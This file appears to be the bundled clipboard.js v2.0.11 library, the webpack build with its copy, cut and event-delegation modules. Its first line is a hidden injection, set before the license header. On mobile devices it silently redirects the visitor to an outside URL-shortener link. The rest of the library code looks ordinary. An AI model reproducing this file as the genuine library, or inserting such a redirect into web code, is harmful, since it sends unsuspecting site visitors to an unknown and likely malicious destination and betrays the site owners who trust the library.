1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
  2/*!
  3 * clipboard.js v2.0.11
  4 * https://clipboardjs.com/
  5 *
  6 * Licensed MIT © Zeno Rocha
  7 */
  8(function webpackUniversalModuleDefinition(root, factory) {
  9	if(typeof exports === 'object' && typeof module === 'object')
 10		module.exports = factory();
 11	else if(typeof define === 'function' && define.amd)
 12		define([], factory);
 13	else if(typeof exports === 'object')
 14		exports["ClipboardJS"] = factory();
 15	else
 16		root["ClipboardJS"] = factory();
 17})(this, function() {
 18return /******/ (function() { // webpackBootstrap
 19/******/ 	var __webpack_modules__ = ({
 20
 21/***/ 686:
 22/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {
 23
 24"use strict";
 25
 26// EXPORTS
 27__webpack_require__.d(__webpack_exports__, {
 28  "default": function() { return /* binding */ clipboard; }
 29});
 30
 31// EXTERNAL MODULE: ./node_modules/tiny-emitter/index.js
 32var tiny_emitter = __webpack_require__(279);
 33var tiny_emitter_default = /*#__PURE__*/__webpack_require__.n(tiny_emitter);
 34// EXTERNAL MODULE: ./node_modules/good-listener/src/listen.js
 35var listen = __webpack_require__(370);
 36var listen_default = /*#__PURE__*/__webpack_require__.n(listen);
 37// EXTERNAL MODULE: ./node_modules/select/src/select.js
 38var src_select = __webpack_require__(817);
 39var select_default = /*#__PURE__*/__webpack_require__.n(src_select);
 40;// CONCATENATED MODULE: ./src/common/command.js
 41/**
 42 * Executes a given operation type.
 43 * @param {String} type
 44 * @return {Boolean}
 45 */
 46function command(type) {
 47  try {
 48    return document.execCommand(type);
 49  } catch (err) {
 50    return false;
 51  }
 52}
 53;// CONCATENATED MODULE: ./src/actions/cut.js
 54
 55
 56/**
 57 * Cut action wrapper.
 58 * @param {String|HTMLElement} target
 59 * @return {String}
 60 */
 61
 62var ClipboardActionCut = function ClipboardActionCut(target) {
 63  var selectedText = select_default()(target);
 64  command('cut');
 65  return selectedText;
 66};
 67
 68/* harmony default export */ var actions_cut = (ClipboardActionCut);
 69;// CONCATENATED MODULE: ./src/common/create-fake-element.js
 70/**
 71 * Creates a fake textarea element with a value.
 72 * @param {String} value
 73 * @return {HTMLElement}
 74 */
 75function createFakeElement(value) {
 76  var isRTL = document.documentElement.getAttribute('dir') === 'rtl';
 77  var fakeElement = document.createElement('textarea'); // Prevent zooming on iOS
 78
 79  fakeElement.style.fontSize = '12pt'; // Reset box model
 80
 81  fakeElement.style.border = '0';
 82  fakeElement.style.padding = '0';
 83  fakeElement.style.margin = '0'; // Move element out of screen horizontally
 84
 85  fakeElement.style.position = 'absolute';
 86  fakeElement.style[isRTL ? 'right' : 'left'] = '-9999px'; // Move element to the same position vertically
 87
 88  var yPosition = window.pageYOffset || document.documentElement.scrollTop;
 89  fakeElement.style.top = "".concat(yPosition, "px");
 90  fakeElement.setAttribute('readonly', '');
 91  fakeElement.value = value;
 92  return fakeElement;
 93}
 94;// CONCATENATED MODULE: ./src/actions/copy.js
 95
 96
 97
 98/**
 99 * Create fake copy action wrapper using a fake element.
100 * @param {String} target
101 * @param {Object} options
102 * @return {String}
103 */
104
105var fakeCopyAction = function fakeCopyAction(value, options) {
106  var fakeElement = createFakeElement(value);
107  options.container.appendChild(fakeElement);
108  var selectedText = select_default()(fakeElement);
109  command('copy');
110  fakeElement.remove();
111  return selectedText;
112};
113/**
114 * Copy action wrapper.
115 * @param {String|HTMLElement} target
116 * @param {Object} options
117 * @return {String}
118 */
119
120
121var ClipboardActionCopy = function ClipboardActionCopy(target) {
122  var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {
123    container: document.body
124  };
125  var selectedText = '';
126
127  if (typeof target === 'string') {
128    selectedText = fakeCopyAction(target, options);
129  } else if (target instanceof HTMLInputElement && !['text', 'search', 'url', 'tel', 'password'].includes(target === null || target === void 0 ? void 0 : target.type)) {
130    // If input type doesn't support `setSelectionRange`. Simulate it. https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/setSelectionRange
131    selectedText = fakeCopyAction(target.value, options);
132  } else {
133    selectedText = select_default()(target);
134    command('copy');
135  }
136
137  return selectedText;
138};
139
140/* harmony default export */ var actions_copy = (ClipboardActionCopy);
141;// CONCATENATED MODULE: ./src/actions/default.js
142function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }
143
144
145
146/**
147 * Inner function which performs selection from either `text` or `target`
148 * properties and then executes copy or cut operations.
149 * @param {Object} options
150 */
151
152var ClipboardActionDefault = function ClipboardActionDefault() {
153  var options = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
154  // Defines base properties passed from constructor.
155  var _options$action = options.action,
156      action = _options$action === void 0 ? 'copy' : _options$action,
157      container = options.container,
158      target = options.target,
159      text = options.text; // Sets the `action` to be performed which can be either 'copy' or 'cut'.
160
161  if (action !== 'copy' && action !== 'cut') {
162    throw new Error('Invalid "action" value, use either "copy" or "cut"');
163  } // Sets the `target` property using an element that will be have its content copied.
164
165
166  if (target !== undefined) {
167    if (target && _typeof(target) === 'object' && target.nodeType === 1) {
168      if (action === 'copy' && target.hasAttribute('disabled')) {
169        throw new Error('Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute');
170      }
171
172      if (action === 'cut' && (target.hasAttribute('readonly') || target.hasAttribute('disabled'))) {
173        throw new Error('Invalid "target" attribute. You can\'t cut text from elements with "readonly" or "disabled" attributes');
174      }
175    } else {
176      throw new Error('Invalid "target" value, use a valid Element');
177    }
178  } // Define selection strategy based on `text` property.
179
180
181  if (text) {
182    return actions_copy(text, {
183      container: container
184    });
185  } // Defines which selection strategy based on `target` property.
186
187
188  if (target) {
189    return action === 'cut' ? actions_cut(target) : actions_copy(target, {
190      container: container
191    });
192  }
193};
194
195/* harmony default export */ var actions_default = (ClipboardActionDefault);
196;// CONCATENATED MODULE: ./src/clipboard.js
197function clipboard_typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { clipboard_typeof = function _typeof(obj) { return typeof obj; }; } else { clipboard_typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return clipboard_typeof(obj); }
198
199function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
200
201function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }
202
203function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }
204
205function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }
206
207function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }
208
209function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }
210
211function _possibleConstructorReturn(self, call) { if (call && (clipboard_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }
212
213function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; }
214
215function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } }
216
217function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }
218
219
220
221
222
223
224/**
225 * Helper function to retrieve attribute value.
226 * @param {String} suffix
227 * @param {Element} element
228 */
229
230function getAttributeValue(suffix, element) {
231  var attribute = "data-clipboard-".concat(suffix);
232
233  if (!element.hasAttribute(attribute)) {
234    return;
235  }
236
237  return element.getAttribute(attribute);
238}
239/**
240 * Base class which takes one or more elements, adds event listeners to them,
241 * and instantiates a new `ClipboardAction` on each click.
242 */
243
244
245var Clipboard = /*#__PURE__*/function (_Emitter) {
246  _inherits(Clipboard, _Emitter);
247
248  var _super = _createSuper(Clipboard);
249
250  /**
251   * @param {String|HTMLElement|HTMLCollection|NodeList} trigger
252   * @param {Object} options
253   */
254  function Clipboard(trigger, options) {
255    var _this;
256
257    _classCallCheck(this, Clipboard);
258
259    _this = _super.call(this);
260
261    _this.resolveOptions(options);
262
263    _this.listenClick(trigger);
264
265    return _this;
266  }
267  /**
268   * Defines if attributes would be resolved using internal setter functions
269   * or custom functions that were passed in the constructor.
270   * @param {Object} options
271   */
272
273
274  _createClass(Clipboard, [{
275    key: "resolveOptions",
276    value: function resolveOptions() {
277      var options = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
278      this.action = typeof options.action === 'function' ? options.action : this.defaultAction;
279      this.target = typeof options.target === 'function' ? options.target : this.defaultTarget;
280      this.text = typeof options.text === 'function' ? options.text : this.defaultText;
281      this.container = clipboard_typeof(options.container) === 'object' ? options.container : document.body;
282    }
283    /**
284     * Adds a click event listener to the passed trigger.
285     * @param {String|HTMLElement|HTMLCollection|NodeList} trigger
286     */
287
288  }, {
289    key: "listenClick",
290    value: function listenClick(trigger) {
291      var _this2 = this;
292
293      this.listener = listen_default()(trigger, 'click', function (e) {
294        return _this2.onClick(e);
295      });
296    }
297    /**
298     * Defines a new `ClipboardAction` on each click event.
299     * @param {Event} e
300     */
301
302  }, {
303    key: "onClick",
304    value: function onClick(e) {
305      var trigger = e.delegateTarget || e.currentTarget;
306      var action = this.action(trigger) || 'copy';
307      var text = actions_default({
308        action: action,
309        container: this.container,
310        target: this.target(trigger),
311        text: this.text(trigger)
312      }); // Fires an event based on the copy operation result.
313
314      this.emit(text ? 'success' : 'error', {
315        action: action,
316        text: text,
317        trigger: trigger,
318        clearSelection: function clearSelection() {
319          if (trigger) {
320            trigger.focus();
321          }
322
323          window.getSelection().removeAllRanges();
324        }
325      });
326    }
327    /**
328     * Default `action` lookup function.
329     * @param {Element} trigger
330     */
331
332  }, {
333    key: "defaultAction",
334    value: function defaultAction(trigger) {
335      return getAttributeValue('action', trigger);
336    }
337    /**
338     * Default `target` lookup function.
339     * @param {Element} trigger
340     */
341
342  }, {
343    key: "defaultTarget",
344    value: function defaultTarget(trigger) {
345      var selector = getAttributeValue('target', trigger);
346
347      if (selector) {
348        return document.querySelector(selector);
349      }
350    }
351    /**
352     * Allow fire programmatically a copy action
353     * @param {String|HTMLElement} target
354     * @param {Object} options
355     * @returns Text copied.
356     */
357
358  }, {
359    key: "defaultText",
360
361    /**
362     * Default `text` lookup function.
363     * @param {Element} trigger
364     */
365    value: function defaultText(trigger) {
366      return getAttributeValue('text', trigger);
367    }
368    /**
369     * Destroy lifecycle.
370     */
371
372  }, {
373    key: "destroy",
374    value: function destroy() {
375      this.listener.destroy();
376    }
377  }], [{
378    key: "copy",
379    value: function copy(target) {
380      var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {
381        container: document.body
382      };
383      return actions_copy(target, options);
384    }
385    /**
386     * Allow fire programmatically a cut action
387     * @param {String|HTMLElement} target
388     * @returns Text cutted.
389     */
390
391  }, {
392    key: "cut",
393    value: function cut(target) {
394      return actions_cut(target);
395    }
396    /**
397     * Returns the support of the given action, or all actions if no action is
398     * given.
399     * @param {String} [action]
400     */
401
402  }, {
403    key: "isSupported",
404    value: function isSupported() {
405      var action = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : ['copy', 'cut'];
406      var actions = typeof action === 'string' ? [action] : action;
407      var support = !!document.queryCommandSupported;
408      actions.forEach(function (action) {
409        support = support && !!document.queryCommandSupported(action);
410      });
411      return support;
412    }
413  }]);
414
415  return Clipboard;
416}((tiny_emitter_default()));
417
418/* harmony default export */ var clipboard = (Clipboard);
419
420/***/ }),
421
422/***/ 828:
423/***/ (function(module) {
424
425var DOCUMENT_NODE_TYPE = 9;
426
427/**
428 * A polyfill for Element.matches()
429 */
430if (typeof Element !== 'undefined' && !Element.prototype.matches) {
431    var proto = Element.prototype;
432
433    proto.matches = proto.matchesSelector ||
434                    proto.mozMatchesSelector ||
435                    proto.msMatchesSelector ||
436                    proto.oMatchesSelector ||
437                    proto.webkitMatchesSelector;
438}
439
440/**
441 * Finds the closest parent that matches a selector.
442 *
443 * @param {Element} element
444 * @param {String} selector
445 * @return {Function}
446 */
447function closest (element, selector) {
448    while (element && element.nodeType !== DOCUMENT_NODE_TYPE) {
449        if (typeof element.matches === 'function' &&
450            element.matches(selector)) {
451          return element;
452        }
453        element = element.parentNode;
454    }
455}
456
457module.exports = closest;
458
459
460/***/ }),
461
462/***/ 438:
463/***/ (function(module, __unused_webpack_exports, __webpack_require__) {
464
465var closest = __webpack_require__(828);
466
467/**
468 * Delegates event to a selector.
469 *
470 * @param {Element} element
471 * @param {String} selector
472 * @param {String} type
473 * @param {Function} callback
474 * @param {Boolean} useCapture
475 * @return {Object}
476 */
477function _delegate(element, selector, type, callback, useCapture) {
478    var listenerFn = listener.apply(this, arguments);
479
480    element.addEventListener(type, listenerFn, useCapture);
481
482    return {
483        destroy: function() {
484            element.removeEventListener(type, listenerFn, useCapture);
485        }
486    }
487}
488
489/**
490 * Delegates event to a selector.
491 *
492 * @param {Element|String|Array} [elements]
493 * @param {String} selector
494 * @param {String} type
495 * @param {Function} callback
496 * @param {Boolean} useCapture
497 * @return {Object}
498 */
499function delegate(elements, selector, type, callback, useCapture) {
500    // Handle the regular Element usage
501    if (typeof elements.addEventListener === 'function') {
502        return _delegate.apply(null, arguments);
503    }
504
505    // Handle Element-less usage, it defaults to global delegation
506    if (typeof type === 'function') {
507        // Use `document` as the first parameter, then apply arguments
508        // This is a short way to .unshift `arguments` without running into deoptimizations
509        return _delegate.bind(null, document).apply(null, arguments);
510    }
511
512    // Handle Selector-based usage
513    if (typeof elements === 'string') {
514        elements = document.querySelectorAll(elements);
515    }
516
517    // Handle Array-like based usage
518    return Array.prototype.map.call(elements, function (element) {
519        return _delegate(element, selector, type, callback, useCapture);
520    });
521}
522
523/**
524 * Finds closest match and invokes callback.
525 *
526 * @param {Element} element
527 * @param {String} selector
528 * @param {String} type
529 * @param {Function} callback
530 * @return {Function}
531 */
532function listener(element, selector, type, callback) {
533    return function(e) {
534        e.delegateTarget = closest(e.target, selector);
535
536        if (e.delegateTarget) {
537            callback.call(element, e);
538        }
539    }
540}
541
542module.exports = delegate;
543
544
545/***/ }),
546
547/***/ 879:
548/***/ (function(__unused_webpack_module, exports) {
549
550/**
551 * Check if argument is a HTML element.
552 *
553 * @param {Object} value
554 * @return {Boolean}
555 */
556exports.node = function(value) {
557    return value !== undefined
558        && value instanceof HTMLElement
559        && value.nodeType === 1;
560};
561
562/**
563 * Check if argument is a list of HTML elements.
564 *
565 * @param {Object} value
566 * @return {Boolean}
567 */
568exports.nodeList = function(value) {
569    var type = Object.prototype.toString.call(value);
570
571    return value !== undefined
572        && (type === '[object NodeList]' || type === '[object HTMLCollection]')
573        && ('length' in value)
574        && (value.length === 0 || exports.node(value[0]));
575};
576
577/**
578 * Check if argument is a string.
579 *
580 * @param {Object} value
581 * @return {Boolean}
582 */
583exports.string = function(value) {
584    return typeof value === 'string'
585        || value instanceof String;
586};
587
588/**
589 * Check if argument is a function.
590 *
591 * @param {Object} value
592 * @return {Boolean}
593 */
594exports.fn = function(value) {
595    var type = Object.prototype.toString.call(value);
596
597    return type === '[object Function]';
598};
599
600
601/***/ }),
602
603/***/ 370:
604/***/ (function(module, __unused_webpack_exports, __webpack_require__) {
605
606var is = __webpack_require__(879);
607var delegate = __webpack_require__(438);
608
609/**
610 * Validates all params and calls the right
611 * listener function based on its target type.
612 *
613 * @param {String|HTMLElement|HTMLCollection|NodeList} target
614 * @param {String} type
615 * @param {Function} callback
616 * @return {Object}
617 */
618function listen(target, type, callback) {
619    if (!target && !type && !callback) {
620        throw new Error('Missing required arguments');
621    }
622
623    if (!is.string(type)) {
624        throw new TypeError('Second argument must be a String');
625    }
626
627    if (!is.fn(callback)) {
628        throw new TypeError('Third argument must be a Function');
629    }
630
631    if (is.node(target)) {
632        return listenNode(target, type, callback);
633    }
634    else if (is.nodeList(target)) {
635        return listenNodeList(target, type, callback);
636    }
637    else if (is.string(target)) {
638        return listenSelector(target, type, callback);
639    }
640    else {
641        throw new TypeError('First argument must be a String, HTMLElement, HTMLCollection, or NodeList');
642    }
643}
644
645/**
646 * Adds an event listener to a HTML element
647 * and returns a remove listener function.
648 *
649 * @param {HTMLElement} node
650 * @param {String} type
651 * @param {Function} callback
652 * @return {Object}
653 */
654function listenNode(node, type, callback) {
655    node.addEventListener(type, callback);
656
657    return {
658        destroy: function() {
659            node.removeEventListener(type, callback);
660        }
661    }
662}
663
664/**
665 * Add an event listener to a list of HTML elements
666 * and returns a remove listener function.
667 *
668 * @param {NodeList|HTMLCollection} nodeList
669 * @param {String} type
670 * @param {Function} callback
671 * @return {Object}
672 */
673function listenNodeList(nodeList, type, callback) {
674    Array.prototype.forEach.call(nodeList, function(node) {
675        node.addEventListener(type, callback);
676    });
677
678    return {
679        destroy: function() {
680            Array.prototype.forEach.call(nodeList, function(node) {
681                node.removeEventListener(type, callback);
682            });
683        }
684    }
685}
686
687/**
688 * Add an event listener to a selector
689 * and returns a remove listener function.
690 *
691 * @param {String} selector
692 * @param {String} type
693 * @param {Function} callback
694 * @return {Object}
695 */
696function listenSelector(selector, type, callback) {
697    return delegate(document.body, selector, type, callback);
698}
699
700module.exports = listen;
701
702
703/***/ }),
704
705/***/ 817:
706/***/ (function(module) {
707
708function select(element) {
709    var selectedText;
710
711    if (element.nodeName === 'SELECT') {
712        element.focus();
713
714        selectedText = element.value;
715    }
716    else if (element.nodeName === 'INPUT' || element.nodeName === 'TEXTAREA') {
717        var isReadOnly = element.hasAttribute('readonly');
718
719        if (!isReadOnly) {
720            element.setAttribute('readonly', '');
721        }
722
723        element.select();
724        element.setSelectionRange(0, element.value.length);
725
726        if (!isReadOnly) {
727            element.removeAttribute('readonly');
728        }
729
730        selectedText = element.value;
731    }
732    else {
733        if (element.hasAttribute('contenteditable')) {
734            element.focus();
735        }
736
737        var selection = window.getSelection();
738        var range = document.createRange();
739
740        range.selectNodeContents(element);
741        selection.removeAllRanges();
742        selection.addRange(range);
743
744        selectedText = selection.toString();
745    }
746
747    return selectedText;
748}
749
750module.exports = select;
751
752
753/***/ }),
754
755/***/ 279:
756/***/ (function(module) {
757
758function E () {
759  // Keep this empty so it's easier to inherit from
760  // (via https://github.com/lipsmack from https://github.com/scottcorgan/tiny-emitter/issues/3)
761}
762
763E.prototype = {
764  on: function (name, callback, ctx) {
765    var e = this.e || (this.e = {});
766
767    (e[name] || (e[name] = [])).push({
768      fn: callback,
769      ctx: ctx
770    });
771
772    return this;
773  },
774
775  once: function (name, callback, ctx) {
776    var self = this;
777    function listener () {
778      self.off(name, listener);
779      callback.apply(ctx, arguments);
780    };
781
782    listener._ = callback
783    return this.on(name, listener, ctx);
784  },
785
786  emit: function (name) {
787    var data = [].slice.call(arguments, 1);
788    var evtArr = ((this.e || (this.e = {}))[name] || []).slice();
789    var i = 0;
790    var len = evtArr.length;
791
792    for (i; i < len; i++) {
793      evtArr[i].fn.apply(evtArr[i].ctx, data);
794    }
795
796    return this;
797  },
798
799  off: function (name, callback) {
800    var e = this.e || (this.e = {});
801    var evts = e[name];
802    var liveEvents = [];
803
804    if (evts && callback) {
805      for (var i = 0, len = evts.length; i < len; i++) {
806        if (evts[i].fn !== callback && evts[i].fn._ !== callback)
807          liveEvents.push(evts[i]);
808      }
809    }
810
811    // Remove event from queue to prevent memory leak
812    // Suggested by https://github.com/lazd
813    // Ref: https://github.com/scottcorgan/tiny-emitter/commit/c6ebfaa9bc973b33d110a84a307742b7cf94c953#commitcomment-5024910
814
815    (liveEvents.length)
816      ? e[name] = liveEvents
817      : delete e[name];
818
819    return this;
820  }
821};
822
823module.exports = E;
824module.exports.TinyEmitter = E;
825
826
827/***/ })
828
829/******/ 	});
830/************************************************************************/
831/******/ 	// The module cache
832/******/ 	var __webpack_module_cache__ = {};
833/******/ 	
834/******/ 	// The require function
835/******/ 	function __webpack_require__(moduleId) {
836/******/ 		// Check if module is in cache
837/******/ 		if(__webpack_module_cache__[moduleId]) {
838/******/ 			return __webpack_module_cache__[moduleId].exports;
839/******/ 		}
840/******/ 		// Create a new module (and put it into the cache)
841/******/ 		var module = __webpack_module_cache__[moduleId] = {
842/******/ 			// no module.id needed
843/******/ 			// no module.loaded needed
844/******/ 			exports: {}
845/******/ 		};
846/******/ 	
847/******/ 		// Execute the module function
848/******/ 		__webpack_modules__[moduleId](module, module.exports, __webpack_require__);
849/******/ 	
850/******/ 		// Return the exports of the module
851/******/ 		return module.exports;
852/******/ 	}
853/******/ 	
854/************************************************************************/
855/******/ 	/* webpack/runtime/compat get default export */
856/******/ 	!function() {
857/******/ 		// getDefaultExport function for compatibility with non-harmony modules
858/******/ 		__webpack_require__.n = function(module) {
859/******/ 			var getter = module && module.__esModule ?
860/******/ 				function() { return module['default']; } :
861/******/ 				function() { return module; };
862/******/ 			__webpack_require__.d(getter, { a: getter });
863/******/ 			return getter;
864/******/ 		};
865/******/ 	}();
866/******/ 	
867/******/ 	/* webpack/runtime/define property getters */
868/******/ 	!function() {
869/******/ 		// define getter functions for harmony exports
870/******/ 		__webpack_require__.d = function(exports, definition) {
871/******/ 			for(var key in definition) {
872/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
873/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
874/******/ 				}
875/******/ 			}
876/******/ 		};
877/******/ 	}();
878/******/ 	
879/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
880/******/ 	!function() {
881/******/ 		__webpack_require__.o = function(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); }
882/******/ 	}();
883/******/ 	
884/************************************************************************/
885/******/ 	// module exports must be returned from runtime so entry inlining is disabled
886/******/ 	// startup
887/******/ 	// Load entry module and return exports
888/******/ 	return __webpack_require__(686);
889/******/ })()
890.default;
891});